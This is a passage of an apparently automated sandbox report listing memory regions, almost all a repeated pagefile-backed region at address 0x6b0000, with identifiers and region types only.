start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15069 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15070 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15071 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15072 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15073 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15074 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15075 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15076 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15077 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15078 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15079 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15080 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15081 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15082 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15083 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15084 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15085 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15086 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15087 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15088 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15089 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15090 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15091 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15092 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15093 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15094 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15095 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15096 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15097 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15098 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15099 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15100 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15101 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15102 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15103 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15104 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 15105 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 15106 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15107 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15108 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15109 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15110 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15111 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15112 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15113 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15114 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15115 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15116 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15117 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15118 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15119 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15120 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15121 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15122 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15123 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15124 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15125 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15126 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15127 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15128 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15129 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15130 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15131 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15132 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15133 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15134 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15135 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15136 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15137 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15138 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15139 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15140 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15141 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15142 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15143 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15144 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15145 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15146 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15147 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15148 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15149 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15150 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15151 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15152 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15153 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15154 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15155 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15156 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15157 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15158 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15159 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15160 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15161 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15162 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15163 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15164 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15165 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15166 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15167 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15168 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15169 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15170 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15171 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15172 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15173 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15174 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15175 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15176 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15177 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15178 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15179 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15180 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15181 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15182 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15183 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15184 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15185 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15186 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15187 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15188 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15189 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15190 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15191 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15192 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15193 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15194 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15195 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15196 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15197 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15198 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15199 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15200 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15201 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15202 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15203 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15204 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15205 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15206 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15207 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15208 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15209 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15210 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15211 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15212 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15213 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15214 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15215 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15216 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15217 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15218 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 15219 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 15220 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15221 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15222 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15223 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15224 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15225 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15226 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15227 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15228 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15229 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15230 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15231 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15232 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15233 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15234 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15235 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15236 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15237 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15238 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15239 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15240 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15241 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15242 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15243 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15244 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15245 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15246 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15247 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15248 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15249 start_va = 0x6b0000 end_va = 